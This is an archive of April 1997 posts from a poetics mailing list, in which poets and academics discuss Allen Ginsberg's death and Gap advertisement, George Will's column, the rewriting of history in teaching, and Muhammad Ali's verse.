I mean, yes, there is a difference between "marketing an image" on the poetics list, or in any social-institutional setting--ie, vying for cultural capital, which is a part of our activities here, whether debate or reminiscence, or foolin' around foolery--& participating in an advertisment--which involves an exchange of "real", ie, monetary capital--, & for a company that, as noted by Michael Mcgee, came to be recognized-- though not, I'm certain, before Ginsberg agreed to do the ad--as complicit in the exploitation of child-labor in Southeast Asia. not just an evaluative difference, ie, in terms of what I value or de-value by my judgements, particularly as they are informed by my awareness of the crimes of commodity capitalism, & the accompanying guilt over my own (platitudinous) participation in the maintenance of the same, but a demonstrable difference. ["demonstrable as in rhymes-with-objective?"]. what I mean is that my own feeling about the difference between the two activities is that, at worst, we, by participating on this list are engaged by our participation in a discourse which legitimates an institution that we all believe in; whereas Ginsberg, by posing for the Gap ad, is participating not only in self-promotion, the promotion of Allen Ginsberg as a cultural phenomenon--the accumulation of cultural capital on a different field--, or the support & possibly the promotion of Naropa, but directly in the maintenance of commodity capitalism as it's represented by the Gap--ie, making a direct statement, as it were, of support for the current economic system, which is, as Dale points out, ironically opposed to the Ginsberg more generally familiar. that's not so much of a criticism as it sounds; clearly, as, again, Michael Mcgee's post indicates, Ginsberg was well aware of the intersection of these two fields in his act, & the contradictions that intersection involved, & so not necessarily acting as a "sell-out" or a "capitalist stooge" (remember that Bloom County of a few years back? we still have some Penguin Love t-shirts available). in fact, that's not at all where I mean to locate the above statements, in a sort of disappointed rock fan accusation of heresy, or in the quest for a more saintly canon. nor do I think Dale was expressing any other than the sort of puzzlement that I am, or that Ginsberg himself evidently expressed.

note: "puzzlement" as in trying a difficult problem by
experiment, not a disappointed confusion or the like.

Dale wrttttt:
>Ginsberg didn't step through any threshold. There is no threshold,

>as far as I can tell. We're all implicated in cultural and economic
>market practices.

without wanting to initiate a witch hunt, I think it's
fair to say that Ginsberg *did* cross a sort of line,
the line from the accumulation of cultural capital &
what that entails, to the accumulation, for whatever
good reason--& he had reasons which he felt were
sufficient--, of monetary capital & what that entails.

again--sorry if I sound defensive, but the point might
easily be misunderstood--this isn't hurtful surprise at
Ginsberg having Taken Money--which I'd gladly take
if it were offered from ["any offers yet?"]--as much as
it is to point up the difference, as I see it, between--well,
ie, the Gap not so much between ideals & necessity,
as between "the economy" & the/a cultural economy,

or vice versa. & maybe that's not such a long gap, either, as the excerpt that Kent brings from At Passages indicates, which is not to say that care needn't be taken in handling

that difference, but that it is worth pointing out, as does Dale in his post, the culture industry's ability to turn rebellion to a profit. the small print Ginsberg apparently insisted on may have worked

against that agenda, in a "bid" to subvert, however incompletely, the Gap's attempt to use his recognizable counter-culture status-- which isn't, I think, much different from Levi Strauss' attempt to

buy the graffiti www site, mentioned here a few months back--, but the incompleteness of that subversion is apparent in the fact that the small print merely contributes to that status in association with the Gap.

in other words, even this gesture, made specifically against the context in which Ginsberg appears modeling Gap pants, can be read as furthering the aims of the Gap, Inc. (?) as much as those of Ginsberg or Naropa.

but I think that's less a criticism of Ginsberg (as on the cover of his books?) than all of us, or none. (quick detour from puzzlement to feeling pessimistic). & my intuition, from M. Mcgee's post, is that Ginsberg would have looked favorably on our consideration of that problem, particularly as it might (any minute now) swing toward a collective self-examination, & away from a game of othering the Other. though, if there's anything of which I can be certain, it's that Ginsberg would have us conduct ourselves with a bit more humor & compassion, even in the face of gravest circumstance. ["gravest...?"]

"love my rhetoric? try Pixidium, the capsular fruit that dehisces so the upper part falls off just like a cap. no more messy furnit"

as to the difference between posing for an advertisment
for the Gap & wearing pants with the Gap label: in this
matter, or, I should say, in this particular case, there's
not such a difference. (I'm wearing Levi's 501s, which
can be read any number of ways, really, & a cheap, pink,
ink-stained t-shirt made by some company called Rivet).
more than anything, the danger here is that we might
return to the "what are you wearing" thread.

or we could talk about the difference in terms of the
potential intersection of fields. but I'm not about to.

by the way, Kent, I, for one, do look forward to your posts, &, were I to have a party, would surely invite you. that's not likely, however, as I live where I do live, & so couldn't expect much of a turnout, despite my own carefully written posts etc.

"still in Utah? try American Hairlines luxurious
or stain removal: cream those blemishes away"

or better, "want a *real* sense of what it's like to be
alive in the 1950s?" because George Will is practically
a RED COMMIE in Utahn's terms.

best, chris
supposed by some to be *working*,
& not merely *at work*

..
christopher alexander, etc. / nominative press collective
[redacted] / **********

http://choengmon.lib.utah.edu/~calexand/nonce

Hey!!
Now Available for a mere $4:
constellation voice by linda russo

↑ Index

314. Piombino/Simon
Re: Planned Parenthood Benefit Reading
Sat 12 Apr 1997

Thank you for your careful reading of my posting regarding the Planned Parenthood Benefit/ Poets for Choice Reading The reading will be held in New York,

New York, borough of Manhattan The Ceres Gallery is located at 584 Broadway, suite 306, near Prince Street in SoHo, telephone [redacted] (this is quite near to the Prince Street stop on the RR train or the N train) For those of you who may have missed the first posting the readers are Corinne Robins, Liz Fodaski and Nick Piombino It will be held on April 25 at 7:30 p.m. ($7 Contribution) Fri, 11 Apr 1997, Hugh Steinberg wrote:

> *This may seem really obvious of me, but when addresses of events are listed on the list, could the city please be included?*
>
> *Hugh Steinberg*

↑ Index

315. Christopher Alexander
Re: on being angry at george will
Sat 12 Apr 1997

> *Where is the will you are angry at?*

"verily, Reverend Sir, it is the hair of the head,
I mean his hair-brained, no its..."

chris
..
christopher alexander, etc. / nominative press collective
[redacted] / **********

http://choengmon.lib.utah.edu/~calexand/nonce

Hey!!
Now Available for a mere $4:
constellation voice by linda russo

↑ Index

316. Jennifer Ashton
Lyn Hejinian's address
Sat 12 Apr 1997

Would anyone be willing to backchannel me with Lyn Hejinian's snail mail address? (Or academic affiliation?) Many thanks.

Jennifer Ashton
Johns Hopkins University
[redacted]

↑ Index

317. Keith Norris
Re: Will's column
Sat 12 Apr 1997

---

yus, GW is a mincey trifle, but the public do listen. More than once, I've heard his sun am posture brickbatted into the knoxville eveninews as news as is.

don't like the argument that a "fuck you" or punchy proposal is queing up in the line george set the markers for. false fancy rhetor george--this is much the same argument which says any loud protest against the good governor of tn simply shows him how right he is about whiney college teachers: "if we calm down he might leave us with demoralized pants but pants, oh, pants!"

No--GW the frightened coddled clam needs a few well-writ fucks -- mine, ill-writ but posing as other, in mail.

Keith

-=-=-=-=-=

Keith Norris | [redacted]
English Department PSTCC
Knoxville, TN 37933
[redacted]

↑ Index

318. Christopher Alexander
Re: The Don Allan Anthology
Sat 12 Apr 1997

Notice to All:
as the council for the defensive, I wish to register
my objection to your libellous assertion that the
said Mr. Alexander is in any way infirm or Boring.
actually, we're registered at Sharper Image. I'm
hoping for the radio-controlled Waterford Crystal
Dish & a setting for 12 with gravy boat & silver
croquet mallets. as for the vitriol, it comes & goes,
but mostly the pain is in my left leg & my ass.

signed, A Lawyerly Type

..
christopher alexander, etc. / nominative press collective
[redacted] / **********

http://choengmon.lib.utah.edu/~calexand/nonce

Hey!!
Now Available for a mere $4:
constellation voice by linda russo

↑ Index

319. **nuyopoman**
Re: POETICS Digest - 10 Apr 1997 to 11 Apr 1997
Sat 12 Apr 1997

Holman in NY

BOB HOLMAN, ANNA RABINOWITZ

7:30pm, Poetry Series/KGB, 85 E. 4th St.,
[redacted].

↑ Index

320. **nuyopoman**
Holman Reading
Sat 12 Apr 1997

Holman in NYC with Date of Event This Time

BOB HOLMAN, ANNA RABINOWITZ
Mon, April 14
7:30pm, Poetry Series/KGB, 85 E. 4th St.,
[redacted].

↑ Index

321. **Mark Weiss**
Re: Will's column/ my reply
Sat 12 Apr 1997

In 1991 I was teaching a modern lit course in Tucson. We were discussing a novella by Platonov called "Dzan" (which, by the way, I strongly recommend) by the Russian writer Platonov. Platonov, who was no fool and suffered plenty under Stalin, was both a dedicated, revolutionary believer in the sort of humane socialism to which the Soviet government often gave lip service even at the worst of times and a christian of sorts (or at least friendly to christian symbolism). The hero of "Dzan" is something like a communist St. Francis. My students had a hard time understanding the idea that a communist, or even a socialist, could harbor benign or altruistic motives--both words were, in their experience, expletives and little more. As one woman, an adult student of maybe

35, put it, "I was always taught that all communists are evil." The kids were even more perplexed. Maybe the world wasn't so simply divided into good and evil. History, for them, had been rewritten to exclude the idealism that the bolshevik rulers manupulated for their own ends but that surely motivated many of their followers--a fair proportion of the world's population--and that offered an alternative vision, however impractical, of human posibilities. It had been rewritten at the movies, on television, and in the popular press. The 60s has been rewritten and domesticated by the fashion-mongers, who make big bucks off of retro radicalism as a fashion statement: clothing whose major virtue was that it cost almost nothing, blurred class distinctions and broke the hold of fashion has become a class marker for those who can afford it. You can book a tour on a hippie bus and do hippie things--a great way to meet other singles, I'm told. As for politics, there's a whole industry devoted to rewriting that, and George Will is in its employ. Saying fuck you to George Will won't get us anywhere. The reason it's important to answer him is that he and his are rewriting the recent past, our own experience of the world. Answering him here doesn't do a whole lot of good--it's mostly preaching to the choir. But it's not a bad thing to do in our classes. It's why I teach a lot of history whatever the course bulletin says I'm teaching. Those who don't know history may not be doomed to repeat it, but they are doomed to having it misappropriated.

At 09:32 AM 4/12/97 -0500, you wrote:
>At 6:09 PM -0400 4/11/97, [redacted] wrote:
>etc
>
>i agree. the focus has become what an asshole george will is, rather than
>anything abt ginsberg. will's shortcomings are not exceptional and don't
>warrant much time and energy. why waste time on his mean-spirited nonsense?
>
>

↑ Index

322. **David Bromige**
Triumph and the Will
Sat 12 Apr 1997

Thank you, Tom. But my recollection of your conversation (which we sorely miss, old chum) suggests you wd do better in a duel of wits with Will to bat for yourself. But whether you or I. it'll be like shooting goldfish in a rainbarrel.

I agree re the anecdotal testimony re Allen. (oops! or is it Alan? Allan? -- George, George Bowering, while you're up, would you go the the Ginsberg

section of my bookshelves, check that out? Thanks George!) Some of the best reading on the List, in my brief months upon it. The Will part is not so good--would be better if he were on the list I think. I know I posted re-him, but I was one over the eight that night & forget what I wrote.

If it cd now be regarded as vitriol-free, I'd like to continue the naming of contributors to the Don Allan Anthology (or Apology). How abt Jackson McLow, Michael Mac Lure, Gary Spicer and Jack Snyder? And of course, Jerome Rothenburg.

dbde

↑ Index

323. **Mark Weiss**

(no subject)

Sat 12 Apr 1997

For some reason my recent postings to the list, such as they are, are arriving 8-12 hours after sent, which effectively excludes me from this discussion. Strange feeling of invisibility. So herein a second attempt at what follows. Sorry for any redundance.

In 1991 I was teaching a modern lit course in Tucson. We were discussing a novella by Platonov called "Dzan" (which, by the way, I strongly recommend) by the Russian writer Platonov. Platonov, who was no fool and suffered plenty under Stalin, was both a dedicated, revolutionary believer in the sort of humane socialism to which the Soviet government often gave lip service even at the worst of times and a christian of sorts (or at least friendly to christian symbolism). The hero of "Dzan" is something like a communist St. Francis. My students had a hard time understanding the idea that a communist, or even a socialist, could harbor benign or altruistic motives--both words were, in their experience, expletives and little more. As one woman, an adult student of maybe 35, put it, "I was always taught that all communists are evil." The kids were even more perplexed. Maybe the world wasn't so simply divided into good and evil. History, for them, had been rewritten to exclude the idealism that the bolshevik rulers manupulated for their own ends but that surely motivated many of their followers--a fair proportion of the world's population--and that offered an alternative vision, however impractical, of human posibilities. It had been rewritten at the movies, on television, and in the popular press. The 60s has been rewritten and domesticated by the fashion-mongers, who make big bucks off of retro radicalism as a fashion statement: clothing whose major virtue was that it cost almost nothing, blurred class distinctions and broke the hold of fashion has become a class marker for those who can afford it. You can book a tour on a hippie bus and do hippie things--a great way to meet other singles, I'm

told. As for politics, there's a whole industry devoted to rewriting that, and George Will is in its employ. Saying fuck you to George Will won't get us anywhere. The reason it's important to answer him is that he and his are rewriting the recent past, our own experience of the world. Answering him here doesn't do a whole lot of good--it's mostly preaching to the choir. But it's not a bad thing to do in our classes. It's why I teach a lot of history whatever the course bulletin says I'm teaching. Those who don't know history may not be doomed to repeat it, but they are doomed to having it misappropriated.

At 09:32 AM 4/12/97 -0500, you wrote:
>At 6:09 PM -0400 4/11/97, [redacted] wrote:
>etc
>
>i agree. the focus has become what an asshole george will is, rather than
>anything abt ginsberg. will's shortcomings are not exceptional and don't
>warrant much time and energy. why waste time on his mean-spirited nonsense?
>
>

↑ Index

324. **Pritchett,Pat**
Re: buy this book!
Sat 12 Apr 1997

Been reading Aldon Nielsen's most excellent new "slim vol." - STEPPING RAZOR and want to urge listmembers - if you haven't sent your check to Rod Smith yet, what are you waiting for?

From: Translations From The Rubric

To enter a world out of loss
Is to carry a lack before you

To impose an emptiness as a place for faith
To place before you a thing of the past
The world will not stand for

Patrick Pritchett

↑ Index

325. **Dean Taciuch**

Re: Will's column/ my reply

Sat 12 Apr 1997

> *My students had a hard time understanding the idea*
> *that a communist, or even a socialist, could harbor benign or altruistic*
> *motives--both words were, in their experience, expletives and little more.*
> *As one woman, an adult student of maybe 35, put it, "I was always taught*
> *that all communists are evil." The kids were even more perplexed. Maybe the*
> *world wasn't so simply divided into good and evil.*
> *History, for them, had been rewritten to exclude the idealism that the*
> *bolshevik rulers manupulated for their own ends but that surely motivated*
> *many of their followers--a fair proportion of the world's population--and*
> *that offered an alternative vision, however impractical, of human*
> *posibilities. It had been rewritten at the movies, on television, and in the*
> *popular press.*
> *The 60s has been rewritten and domesticated by the fashion-mongers, who make*
> *big bucks off of retro radicalism as a fashion statement: clothing whose*
> *major virtue was that it cost almost nothing, blurred class distinctions and*
> *broke the hold of fashion has become a class marker for those who can afford*
> *it. You can book a tour on a hippie bus and do hippie things--a great way to*
> *meet other singles, I'm told. As for politics, there's a whole industry*
> *devoted to rewriting that, and George Will is in its employ.*
> *Saying fuck you to George Will won't get us anywhere. The reason it's*
> *important to answer him is that he and his are rewriting the recent past,*
> *our own experience of the world.*
> *Answering him here doesn't do a whole lot of good--it's mostly preaching to*
> *the choir. But it's not a bad thing to do in our classes. It's why I teach a*
> *lot of history whatever the course bulletin says I'm teaching. Those who*
> *don't know history may not be doomed to repeat it, but they are doomed to*
> *having it misappropriated.*

Every time I teach a lit course I teach the history as well. In the standard Am-Lit sequence, I always go into the history of the American Communist party of the 1920s, for example. The students for the most part know nothing about it (though a few do, and that number seems to be increasing). The simple Communism (bad)/Democracy (good) dichtomy has been absorbed by people who don't even know what these words mean. I see it too when I teach the early American course--the actual writings of "the Founding fathers" surprise them--especially Thomas Paine's writrings on religion. They've been told in High School (?) what's in these texts but haven't examined them themselves.

This semester, I'm teaching American Poetry 1950-1965 for Sophomores. When the news of Ginsberg's health first came through last Friday, I was preparing notes for a class discussion of O'Hara's _Lunch Poems_. We closed with the last poem, "Fantasy" (dedicated to the health of Allen Ginsberg).

Over the weekend the announcement of Ginsberg's death came over the list, and on the news. This week's class included a discussion of the Will column (which several of my students had seen) and the responses here on this list (which I brought in--a few I even posted to the web page I set up for the class).

This course is listed as "Literature and Society" so I've had plenty of opportunity to discuss the late fifties/early sixties era in the class. Mark Weiss is correct when he points out how this era has been rewritten. But it isn't just the 60s.

Dean

↑ Index

326. **Piombino/Simon**

Re: George Wills and the Imago of Alan Ginsbuerg, in the 2nd circle

Sat 12 Apr 1997

At the risk of stating the obvious, perhaps some of our concerns about Wills' obit grow out of a feeling of becoming worried not only about the loss of a very important poet, but also a great leader. AG used his literary notoriety extremely effectively for excellent causes. Like many other poets and artists he stood up non-violently against the Government's war in Vietnam. Today's media avoids the process of creating revolutionary figures like Ginsberg. We are grieving, in this cruel April of a Nazional Poetry Month, not only the loss of a great poet ,but one of the last of the media revolutionaries that helped save this country from disaster. I think this is sad also because a heavier responsibility falls on us survivors. The most astounding thing about AG is that he insisted on making all this look like fun!

Best wishes,

Nick

↑ Index

327. **Sylvester Pollet**

Hale-Bopp Forward

Sat 12 Apr 1997

This one just arrived via my Harbormaster, so I'm sure it's legit. Sylvester

Date: Sat, 12 Apr 1997 17:46:29 -0400
To: [redacted]
From: John P Blake <[redacted]>
Subject: Fwd: DELAYED MESSAGE

> *Date: Sat, 12 Apr 1997 07:09:40 -0400 (EDT)*
> *From:* [redacted]

> *To: [redacted]*
> *Subject: Fwd: DELAYED MESSAGE*
>
> *---------- Forwarded message:*
> *Subj: Fwd: DELAYED MESSAGE*
> *Date: 97-04-11 15:59:01 EDT*
> *From: DaTravron*
> *To: ALMDEW,Sco4star,Tupple*
> *To: [redacted]*
>
> *---------- Forwarded message:*
> *From: [redacted]*
> *To: [redacted], [redacted], [redacted], [redacted], [redacted]*
> *Date: 97-04-11 07:46:02 EDT*
>
> *_____ Forward Header _____*
> *Subject: DELAYED MESSAGE*
> *Author: [redacted] (Boucher_Peter) at internet*
> *Date: 4/10/97 1:14 PM*
>
> > *From: The Supreme Commander, Next Level (i.e., Big Giant Head)*
> > *To: Heaven's Gate Personnel*
> >
> > *Due to extensive tail winds caused by the comet HALE-BOPP, the pickup of the 39 passengers has been delayed until the year 2224 when we pass by the planet Earth again.*
> >
> > *DO NOT EAT THE PUDDING AT THIS TIME*
> > *- repeat-*
> >
> > *DO NOT EAT THE PUDDING ...*

John P Blake
[redacted]

↑ Index

328. **henry gould**
GWAG
Sat 12 Apr 1997

It's easy now to look back with historical hindsight & conflate or deflate the Gap between Bob Dylan & Allen Ginsberg on the cybernet revolution front. But no one has been able to deny the pivotal importance of Dan Bouchard's post of early april 1997 in which he wrote, "fuck you George Will". The repercussions have been endless, the ramifications proliferate dissertationly in a dizzying pyrotechnic of etc. Dan, did you mean by this - I mean, were you conscious when you put on those overalls so to speak - of the immense sea-change about to take place? I think you were. I want to tell a personal anecdote about Dan: this must have been in about 2004 - he was confronted by a pack of nouveau-zelot-heads with microphones - & he EMPATHIZED with thier CONCERNS - I KNOW he THOUGHT TWICE before he lifted that pack of million-yen contributions & tossed it into the Yangtzee. Henry Gould, (remember him?), before he died in that fatal sewing accident (those needles...) in 1999, often said - in those quaint little Spandrift posts of his - "Dan's o.k. He'll make a good Chairman, whatever they say." No one can obligerate the truth of that modest observation, at least at this late hour, not by any means (or ends, for that matter). Shantih shantih shantih - Eric Blarnes

↑ Index

329. **Dave Zauhar**
Re: The poetry of Muhammad Ali
Sat 12 Apr 1997

> *speaking of sports, i took in When We Were Kings this past week. it's got some fun poetry in it, and reminded me of when i was a little girl and the Clay/Liston fight was gonna be on. (it was memorable to me cuz we didn't have a tv, but we were at a ski lodge for a week and the ski lodge had a tv, so everything on tv that week sticks in my mind). the newscasters kept reading a poem clay had written for the occasion and i adored it. can anybody post that poem here? free copies of *my* book and the new cross-cultural poetix to the person who obliges.--md*

Damn. I can only recall another classic from the Ali oeuvre:

I'll say it again
I've said it before
Archie Moore'll
go down in four

I doubt if that even qualifies me for an offprint of a journal article.

Dave Zauhar

↑ Index

330. David Bromige
Reading backwards
Sat 12 Apr 1997

Louis, the Hall Pack Simpson anthology _New Poets of England & America_ came out in 1958, preceding the Allen by nearly two years. There may have been a later edition, post - Allen, that incl. one or 2 of the Allen poets - Creeley? But HPS were there firstest, though not with the mostest. Frost did the intro, all the poets were under 40 (they'll be under 80, today), & they wrote like, well, like Ur-Neo-Formalists. Some handful went on to fame and considerable fortune. Kingsley Amis, Robert Bly, Donald Davie, Thom Gunn, Hall himself, Anthony Hecht, Geoffrey Hill, John Hollander, Elizabeth Jennings, Donald Justice, Philip Larkin, Robert Lowell, James Merrill, W.S.Merwin, Howard Nemerov, Adrienne Cecile Rich, Jon Silkin, W.Dewitt Snodgrass,May Swenson, Reed Whittemore, Richard Wilbur and James Wright, names to conjure with & not any list of mere retrenchers.

It was remarkable to those of us just entering the scene to have 2 anthologies purporting to present the best of current american poetry coming out, with not one poet in both books. These days, of course, we are accustomed to such divisions.

Hope this helps, Louis. db

↑ Index

331. Thomas Bell
ginsberg and snyder
Sat 12 Apr 1997

>Gary Snyder lectured and read here in Freeport, Illinois tonight. It
...
KENT JOHNSON wrote.

Does using adjacent urinals in two different states at two times 25 years apart count as a reverent or irreverent memory? Or is this sexist or too personal?
tom bell

GS and i - not to implicate others.

↑ Index

332. Thomas Bell
(no subject)
Sat 12 Apr 1997

Maria Damon wrote
>At 6:09 PM -0400 4/11/97, [redacted] wrote:
>etc

> *i agree. the focus has become what an asshole george will is, rather than anything abt ginsberg. will's shortcomings are not exceptional and don't warrant much time and energy. why waste time on his mean-spirited nonsense?*

as do i.

AG was responsible for my family. My wife correctly identified him in a multiple-choice come on letter sent when he gave a reading in the mid seventies. (He was in a temporary eclipse as a "commodity" and too few of the students at that time had any idea who he was, had been, and would be).

AG range/renga impulse

unsquandering infinite egrets he

tom bell

↑ Index

333. Stephen Vincent
Re: The poetry of Muhammad Ali
Sun 13 Apr 1997

A guess: Was it the one with alliterative off-rhymes - front and back ("float/sting" & "butterfly/bee")

"float like a butterfly,
sting like a bee"

??

Cheers,

Stephen Vincent

↑ Index

334. MAXINE CHERNOFF
History Is Rewritten
Sun 13 Apr 1997

Speaking of history being rewritten, I shuddered a few years ago that my daughter's brand new history book (jr high level) had as much information on

Grenada (2 paragraphs) as it did on the Viet Nam War. And try to find a single text for kids taught in the regular curriculum that even mentions the American Labor Movement. So no wonder that when they arrive in college, they are maybe aware of Allen G as MTV celeb instead of fine poet and political activist. My solution at home: tell my kids about alternate history, take them to events that proliferate the truth about American political policy, etc.

It's an odd consciousness reflected in those books as well, very inconsistent. My younger sons are now being taught about Japanese internment camps, slave rebellions before the Civil War, etc., (younger kids and newer book still) but no change in the omissions cited above.

Maxine Chernoff

↑ Index

335. **Tom Mandel**

George may choose

Sun 13 Apr 1997

I'd been unable to read the list for about 3 weeks (swamped) when Allen died and I began to stick my nose in again to the daily digest. I missed, but someone has mentioned to me, Pat Pritchett suggesting that I punch George Will in the nose. Using, apparently, the pop I'd put aside for poor Ed Dorn's snoot were he to say bad things to me (he hasn't -- rest easy).

I'll get to George in a moment.

I think the outpouring of sentiment about AG was wonderful. I first encountered him when, a just-teen unfledged poet, I attended the now-famous (and then-fabulous) Big Table reading in Chicago. He had such a dark and liquid voice alive. He was poetry incarnate, how could anyone ever doubt him a poet? What an idea!

Odd, however, is the debate about his status as "a millionaire." His image on a GAP ad. I haven't seen much of this debate, but it seems pathetic to me. Actually, I'd heard that Allen was dismayed to be offered one mil only for his papers. I kind of agree. I think the library that bought them got a hell of a deal. That is, they'll be worth a lot more to the institution.

As to AG associating himself with a corporation "utterly complicit" in Asian child
labor, so does everyone on this list whether knowingly or not. If virtually every
pair of sneakers available comes from that context, is virtue defined by
going shoeless? And should that be Allen shoeless, or you. How'd the coffee bean
get in your cup -- picked by union labor?

The question is whether you work against what you think is objectionable. I don't know how Allen Ginsberg could have worked harder to fight the ugliness that has risen and risen in our time.

Speaking of "ugliness... risen in our time" -- I think it would only be fair to give George Will his choice of weapons. George, my second Pat Pritchett will be in touch with your second.

Should George choose pistols, I'll insist on cap. Should he choose wit, I'll ask David Bromige to represent me.

Tom Mandel

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4031 University Dr. Suite 200 * vox: [redacted]
Fairfax, VA 22030-3409 * fax: [redacted]
****

Join the Caucus Conversation

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336. linda v. russo
Will/[my]reply
Sun 13 Apr 1997

"Speaking of this image/commodity thing, there's a passage from [Bill Knott] that seems to connect, though I'm baffled as to precisely how. That would be the point, I guess. How to read this? It makes me jealous: I wish I would have thought of it for my death poem.

> ["Going to sleep, I cross my hands on my chest.
> They will place my hands like this.
> It will look as though I'm flying into myself."]

[--l.]
--

linda v. russo
[redacted]

↑ Index

337. **linda v. russo**
Re: The Don Allan Apology
Sun 13 Apr 1997

---

actually -- i thought it would make my reply sound too much like a victorian pornographic novel.

db wrote:
> I even suggested she post in to "Mr.Bromide and Mr.Boring"
> thanking them for their "correction". She was too nice to do so . .

--
linda v. russo
[redacted]

↑ Index

338. **George Free**
Anne Waldman's AG poem
Sun 13 Apr 1997

Subscribers to this list may be interested to know that Anne Waldman's poem "Notes on Sitting Beside a Noble Corpse" is posted at http://members.aol.com/mongobear/private/Ginsberg/Waldman.html

George Free

↑ Index

339. **Maria Damon**
Re: Ginsberg
Sun 13 Apr 1997

At 7:57 PM +0600 4/12/97, KENT JOHNSON wrote:
>> Date sent: Sat, 12 Apr 1997 09:24:38 -0500
>> Send reply to: UB Poetics discussion group
>><[redacted]>
>> From: Maria Damon <[redacted]>
>> Subject: Re: Ginsberg
>> To: [redacted]
>
>> At 1:57 PM -0700 4/11/97, Hoa Nguyen wrote, quoting kent johnson:

>> >
>> >Dale, I'll say this: I would like, when I say
>> >>something on this list, to impress, to have people think: "Boy, that
>> >>Kent Johnson sounds really interesting, I wonder what he is really
>> >>like.." Wishful thinking, I'm sure, but I would like my posts to
>> >>contribute, little by little, to
>> >>a great poetry job somewhere, or to being invited to the party I never
>> >>get invited to, to having an even modest cultural status I
>> >>haven't yet had, to be thought of as a list insider who is known to
>> >>be an insider by those who aren't. There, I said it! (And why,
>> >>exactly, does it mildly
>> >>startle every single one of you who just read this that I said this?)
>>
>>
>> why wd this startle? it falls well within the continuum of normal human
>> cerebration. what startles is the ungrounded assumption that i am
>> startled...
>
>Well, then, so it startled, right?
>
>Kent

nah...

↑ Index

340. **Maria Damon**

Re: The poetry of Muhammad Ali

Sun 13 Apr 1997

At 8:35 PM -0500 4/12/97, Dave Zauhar wrote:
>>speaking of sports, i took in When We Were Kings this past week. it's got
>>some fun poetry in it, and reminded me of when i was a little girl and the
>>Clay/Liston fight was gonna be on. (it was memorable to me cuz we didn't
>>have a tv, but we were at a ski lodge for a week and the ski lodge had a
>>tv, so everything on tv that week sticks in my mind). the newscasters kept
>>reading a poem clay had written for the occasion and i adored it. can
>>anybody post that poem here? free copies of *my* book and the new
>>cross-cultural poetix to the person who obliges.--md
>
>Damn. I can only recall another classic from the Ali oeuvre:
>
>I'll say it again
>I've said it before

>Archie Moore'll
>go down in four
>
>I doubt if that even qualifies me for an offprint of a journal article.
>
>Dave Zauhar

dave, i'll send u an off print of an article on gertrude stein and jewish social science, if you send your snail mail address. just what you've always wanted, n'est-ce pas?

↑ Index

341. Maria Damon
Re: History Is Rewritten
Sun 13 Apr 1997

---

howard zinn's book A People's History of the United States or some such is very good for this purpose. it's thick tho, which may intimidate some hs students, but very readable and an eye-opener.

At 2:48 AM -0700 4/13/97, MAXINE CHERNOFF wrote:
>Speaking of history being rewritten, I shuddered a few years ago that my
>daughter's brand new history book (jr high level) had as much information
>on Grenada (2 paragraphs) as it did on the Viet Nam War. And try to find
>a single text for kids taught in the regular curriculum that even mentions
>the American Labor Movement. So no wonder that when they arrive in
>college, they are maybe aware of Allen G as MTV celeb instead of fine poet
>and political activist. My solution at home: tell my kids about alternate
>history, take them to events that proliferate the truth about American
>political policy, etc.
>
>It's an odd consciousness reflected in those books as well, very
>inconsistent. My younger sons are now being taught about Japanese
>internment camps, slave rebellions before the Civil War, etc., (younger
>kids and newer book still) but no change in the omissions cited above.
>
>Maxine Chernoff

↑ Index

342. **Maria Damon**
Re: George may choose
Sun 13 Apr 1997

tom mandel, this is a terrific post, amen all around, i like your spirit. i toast you with my organic cooperatively harvested altura coffee (a poor substitute for peet's but one of the consequences of my midwestern exile).

At 7:22 AM -0500 4/13/97, Tom Mandel wrote:
>I'd been unable to read the list for about 3 weeks (swamped) when Allen
>died and I began to stick my nose in again to the daily digest. I missed, but
>someone has mentioned to me, Pat Pritchett suggesting that I punch George Will
>in the nose. Using, apparently, the pop I'd put aside for poor Ed Dorn's snoot
>were he to say bad things to me (he hasn't -- rest easy).
>
>I'll get to George in a moment.
>
>I think the outpouring of sentiment about AG was wonderful. I first
>encountered
>him when, a just-teen unfledged poet, I attended the now-famous (and
>then-fabulous)
>Big Table reading in Chicago. He had such a dark and liquid voice alive. He
>was
>poetry incarnate, how could anyone ever doubt him a poet? What an idea!
>
>Odd, however, is the debate about his status as "a millionaire." His image
>on a GAP
>ad. I haven't seen much of this debate, but it seems pathetic to me.
>Actually, I'd
>heard that Allen was dismayed to be offered one mil only for his papers. I
>kind of
>agree. I think the library that bought them got a hell of a deal. That is,
>they'll
>be worth a lot more to the institution.
>
>As to AG associating himself with a corporation "utterly complicit" in
>Asian child
>labor, so does everyone on this list whether knowingly or not. If virtually
>every
>pair of sneakers available comes from that context, is virtue defined by
>going shoeless? And should that be Allen shoeless, or you. How'd the coffee
>bean

>get in your cup -- picked by union labor?
>
>The question is whether you work against what you think is objectionable. I
>don't know how Allen Ginsberg could have worked harder to fight the ugliness
>that has risen and risen in our time.
>
>Speaking of "ugliness... risen in our time" -- I think it would only be fair
>to give George Will his choice of weapons. George, my second Pat Pritchett
>will be in touch with your second.
>
>Should George choose pistols, I'll insist on cap. Should he choose wit, I'll
>ask David Bromige to represent me.
>
>Tom Mandel
>
>
>
>
>Tom Mandel [redacted]
>**********
>Screen Porch * http://screenporch.com
>4031 University Dr. Suite 200 * vox: [redacted]
>Fairfax, VA 22030-3409 * fax: [redacted]
>**********
> Join the Caucus Conversation

↑ Index

343. Bobbie West
Re: History is Rewritten
Sun 13 Apr 1997

Maria Damon wrote:

> *howard zinn's book A People's History of the United States or some such is very good for this purpose. it's thick tho, which may intimidate some hs students, but very readable and an eye-opener.*

There's also _Labor's Untold Story_ by Richard O. Boyer and Herbert M. Morais, (published by the United Electrical, Radio & Machine Workers of America, New York, 1965) though I don't know if it's still in print.

Bobbie West

↑ Index

344. Jeffrey W. Timmons
Re: History is Rewritten
Sun 13 Apr 1997

in a recent post (i forgot who) someone stated that young people seem interested/more interested in labor issues communism etc . . . and i think that although i am somewhat concerned at the willful forgetfulness of younger generations about critical histories--feminism in particular--i think its great that individuals are attempting to bring a more radical edge to the mainstream: watching rage against the machine on mtv the other day i saw a new video about mexican/migrant workers that was very in your face. not that i like everything they do/say but i admire their efforts to educate/entertain.

jeffrey timmons

↑ Index

345. Keith Norris
Re: ali
Sun 13 Apr 1997

Maria Damon,

--these three Ali poems turned up in a brief web search--none specifically attached to either of the Liston fights, though.

Got _Dark End..._ already--other books and articles I haven't read threaten my already iffy "normal human cerebration" at this late date in dissertation. If this earns a prize, send only in August after I've defended. I think I'll go worry about the tone of this mail and how it impacts my future now...

Cheers,
Keith

#1
It all started twenty years past,
The greatest of them was born at last.
